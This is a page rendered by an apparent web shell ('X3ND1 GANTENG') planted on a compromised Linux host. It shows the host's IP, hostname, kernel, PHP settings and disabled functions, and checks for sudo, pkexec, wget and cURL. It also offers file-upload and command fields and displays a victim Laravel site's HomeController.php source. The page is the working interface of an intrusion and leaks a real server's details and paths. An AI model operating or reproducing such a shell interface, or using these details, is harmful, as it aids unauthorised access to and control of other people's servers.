X3ND1 GANTENG
Server IP : 108.163.255.210  /  Your IP : 3.147.103.33
Web Server : Apache
System : Linux blossom.urlnameserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User :  ( 1172)
PHP Version : 7.2.34
Disable Function : eval,escapeshellarg,proc_close,proc_get_status,proc_nice,proc_open,symlink,system,pcntl_exec,getrusage,chown,chgp,closelog,openlog,syslog,define_syslog_variables,php_ini_loaded_file,getservbyname,getservbyport,posix_getgid,posix_getgrgid,proc_terminate,pfsockopen,apache_child_terminate,posix_mkfifo,posix_setpgid,posix_setuid,hypot,pg_host,pos,posix_access,posix_getcwd,posix_getservbyname,myshellexec,getpid,posix_getsid,posix_isatty,posix_kill,posix_mknod,posix_setgid,posix_setsid,posix_setuid,posix_times,posix_uname,ps_fill,posix_getpwuid,global,ini_restore,zip_open,zip_read,rar_open,bzopen,bzread,bzwrite,apache_get_modules,apache_get_version,phpversionphpinfo,php_ini_scanned_files,get_current_user,disk_total_space,diskfreespace,leak,imap_list,hypo,filedump,safe_mode,getmygid,apache_getenv,apache_setenv,bzread,bzwrite,bzopen,phpini,higlight_file,dos_conv,get_cwd,er_log,cmd,e_name,vdir,get_dir,only_read,ftok,ftpexec,posix_getpwnam,mysql_list_dbs,disk_free_space,session_save_path,confirm_phpdoc_compiled,zip_entry_rea,php_u,psockopen,crack_opendict,crack_getlastmessage,crack_closedict,crack_check,fpassthru,posix_get_last_error,posix_getlogin,posix_getgroups,posix_strerror,posix_getrlimit,posix_getpgrp,posix_getgrnam,pos,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/unilinki/public_html/Unilink-NewSite/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ BERANDA ]     

Current File : /home/unilinki/public_html/Unilink-NewSite/app/Http/Controllers/HomeController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Hash;
use Illuminate\Support\Facades\Mail;
use Exception;
use App\User;
use App\Policy;
use App\Service;
use App\Faq;
use App\Blog;
use App\BlogCategory;
use App\BlogTag;
use App\HomePage;
use App\AboutPage;
use App\Contact;
use App\Team;
use App\Testimonial;
use App\Page;
use App\Banner;
use App\Exposure;
use App\Client;
use App\Schedule;

class HomeController extends Controller
{
    public function index()
    {
    	$banners = Banner::orderBy('id', 'desc')->get();
    	$services = Service::orderBy('id', 'desc')->get();
        $faqs = Faq::get();
        $home = HomePage::where('id', '1')->first();
        $about = AboutPage::where('id', '1')->first();
        $blogs = Blog::orderBy('id', 'desc')->get();
        $blog_cat = BlogCategory::get();
        $blog_tag = BlogTag::get();
        $teams = Team::get();
        $testimonials = Testimonial::get();
        $clients = Client::orderBy('id', 'desc')->get();
        return view('front.pages.index')->with(['title'=>'Home Page', 'banners'=>$banners, 'services'=>$services, 'faqs'=>$faqs, 'home'=>$home, 'about'=>$about, 'blogs'=>$blogs, 'blog_cat'=>$blog_cat, 'blog_tag'=>$blog_tag, 'teams'=>$teams, 'testimonials'=>$testimonials, 'clients'=>$clients]);
    } 

    
    
    public function services()
    {
    	$services = Service::orderBy('id', 'desc')->get();
        return view('front.pages.services')->with(['title'=>'Services Page', 'services'=>$services]);
    }

    public function about()
    {
        $faqs = Faq::get();
        $about = AboutPage::where('id', '1')->first();
        $services = Service::orderBy('id', 'desc')->get();
        $teams = Team::get();
        $testimonials = Testimonial::get();
        $whyUnilinkInda = HomePage::find(1);
        return view('front.pages.about')->with(['title'=>'About Page', 'faqs'=>$faqs, 'about'=>$about, 'services'=>$services, 'teams'=>$teams, 'testimonials'=>$testimonials,'whyUnilinkInda'=>$whyUnilinkInda]);
    }

    public function faq()
    {
        $faqs = Faq::get();
        return view('front.pages.faq')->with(['title'=>'Faq Page', 'faqs'=>$faqs]);
    }
    
    public function bannerdetails(Request $request, $id)
    {

        $portfolios = Policy::latest()->take(4)->get();
        $banner = Banner::where('id', $id)->first();
        $banners = Banner::where('id', '!=', '4')->where('id', '!=', $id)->orderBy('id', 'desc')->get();
        return view('front.pages.banner_details')->with(['title'=>'Details Page', 'banner'=>$banner, 'banners'=>$banners,'portfolios'=>$portfolios]);
    }

    public function blogdetails(Request $request, $slug)
    {
        $blogs = Blog::where('slug', $slug)->first();
        $lat_blogs = Blog::where('slug', '!=', $slug)->orderBy('id', 'desc')->limit(3)->get();
        $blog_cat = BlogCategory::get();
        $blog_tag = BlogTag::get();
        return view('front.pages.blog_details')->with(['title'=>'Blog Page', 'blogs'=>$blogs, 'blog_cat'=>$blog_cat, 'blog_tag'=>$blog_tag, 'lat_blogs'=>$lat_blogs]);
    }
    
    public function blog()
    {
        $blogs = Blog::orderBy('id', 'desc')->get();
        $blog_cat = BlogCategory::get();
        $blog_tag = BlogTag::get();
        return view('front.pages.blog')->with(['title'=>'Blog Page', 'blogs'=>$blogs, 'blog_cat'=>$blog_cat, 'blog_tag'=>$blog_tag]);
    }

    public function contact()
    {
        return view('front.pages.contact')->with(['title'=>'Contact Page']);
    }  

    public function listservices($slug)
    {
        $content = Service::where('slug', $slug)->first();
        $policies = Policy::where('services', $content->id)->get();
        $services = Service::where('id', '!=', $content->id)->get();
        return view('front.pages.listservices')->with(['title'=>'Listservices Page', 'content'=>$content, 'policies'=>$policies, 'services'=>$services]);
    }

    public function servicedetails($id)
    {
        $services = Service::where('id', $id)->orderBy('id', 'desc')->first();
        return view('front.pages.services_details')->with(['title'=>'Service Details Page', 'services'=>$services]);
    }
    
    public function contactForm(Request $request)
    {
        try 
        {
            $rs = Contact::create([
                'name' =>$request->input('name'),
                'email' => $request->input('email'),
                'phone' => $request->input('phone'),
                'message' => $request->input('message'),
                'status' => 0
            ]);
            
            if($rs)
            {
                # Send OTP in email after successful registration
                $data = array();
                
                $data['name'] = $request->input('name');
                $data['email'] = $request->input('email');
                $data['phone'] = $request->input('phone');
                $data['message_new'] = $request->input('message');
                                
                Mail::send('mail.support', $data, function ($message) use ($data) {
                    $message->to($data['email']);
                    $message->from('noreply@unilinkindia.co.in', 'Unilink India');
                    $message->subject('Thank You for Contacting Us');
                });
                
                Mail::send('mail.supportadmin', $data, function ($message) use ($data) {
                    $message->to('noreply@unilinkindia.co.in');
                    $message->from($data['email'], $data['name']);
                    $message->subject('New Enquiry on Unilink India');
                });
    
                $message = array('flag'=>'alert-success', 'message'=>'Mail sent Successfully');
                return redirect()->back()->with(['message'=>$message]);
            }
            
            $message = array('flag'=>'alert-danger', 'message'=>'Unable to send mail, Please try again');
            return back()->with(['message'=>$message]);
        }
        catch (Exception $e) 
        {
            $message = array('flag'=>'alert-danger', 'message'=>$e->getMessage());
            return back()->with(['message'=>$message]);
        }
    }
    
    public function singlepage(Request $request, $slug)
    {
        $pages = Page::where('slug', $slug)->first();
        return view('front.pages.single_page')->with(['title'=>'Single Page', 'pages'=>$pages]);
    } 
    
    public function exposure()
    {
    	$exposures = Exposure::orderBy('id', 'desc')->get();
        return view('front.pages.exposure')->with(['title'=>'Exposure Page', 'exposures'=>$exposures]);
    }
    
    public function exposuredetails($id)
    {
        $banner = Exposure::where('id', $id)->first();
        $banners = Exposure::where('id', '!=', '4')->where('id', '!=', $id)->orderBy('id', 'desc')->get();
        
        return view('front.pages.exposure_detail')->with(['title'=>'Exposure Detail Page', 'banner'=>$banner, 'banners'=>$banners]);
    }
    
    public function clients()
    {
    	$clients = Client::orderBy('id', 'desc')->get();
        return view('front.pages.clients')->with(['title'=>'Clients Page', 'clients'=>$clients]);
    }
    
    public function schedule()
    {
        return view('front.pages.schedule')->with(['title'=>'Schedule Page']);
    }  
    
    public function scheduleForm(Request $request)
    {
        try 
        {
            $rs = Schedule::create([
                'first_name' =>$request->input('first_name'),
                'last_name' =>$request->input('last_name'),
                'email' => $request->input('email'),
                'phone' => $request->input('phone'),
                'jobtitle' => $request->input('jobtitle'),
                'company' => $request->input('company'),
                'employee' => $request->input('employee'),
                'product' => $request->input('product'),
                'message' => $request->input('message'),
                'status' => 0
            ]);
            
            if($rs)
            {
                # Send OTP in email after successful registration
                $data = array();
                
                $data['first_name'] = $request->input('first_name');
                $data['last_name'] = $request->input('last_name');
                $data['email'] = $request->input('email');
                $data['phone'] = $request->input('phone');
                $data['jobtitle'] = $request->input('jobtitle');
                $data['company'] = $request->input('company');
                $data['employee'] = $request->input('employee');
                $data['product'] = $request->input('product');
                $data['message_new'] = $request->input('message');
                                
                Mail::send('mail.schedule', $data, function ($message) use ($data) {
                    $message->to($data['email']);
                    $message->from('noreply@unilinkindia.co.in', 'Unilink India');
                    $message->subject('Thank You for Contacting Us');
                });
                
                Mail::send('mail.scheduleadmin', $data, function ($message) use ($data) {
                    $message->to('noreply@unilinkindia.co.in');
                    $message->from($data['email'], $data['first_name']);
                    $message->subject('New Appointment on Unilink India');
                });
    
                $message = array('flag'=>'alert-success', 'message'=>'Mail sent Successfully');
                return redirect()->back()->with(['message'=>$message]);
            }
            
            $message = array('flag'=>'alert-danger', 'message'=>'Unable to send mail, Please try again');
            return back()->with(['message'=>$message]);
        }
        catch (Exception $e) 
        {
            $message = array('flag'=>'alert-danger', 'message'=>$e->getMessage());
            return back()->with(['message'=>$message]);
        }
    }
}

Anon7 - 2022
SCDN GOK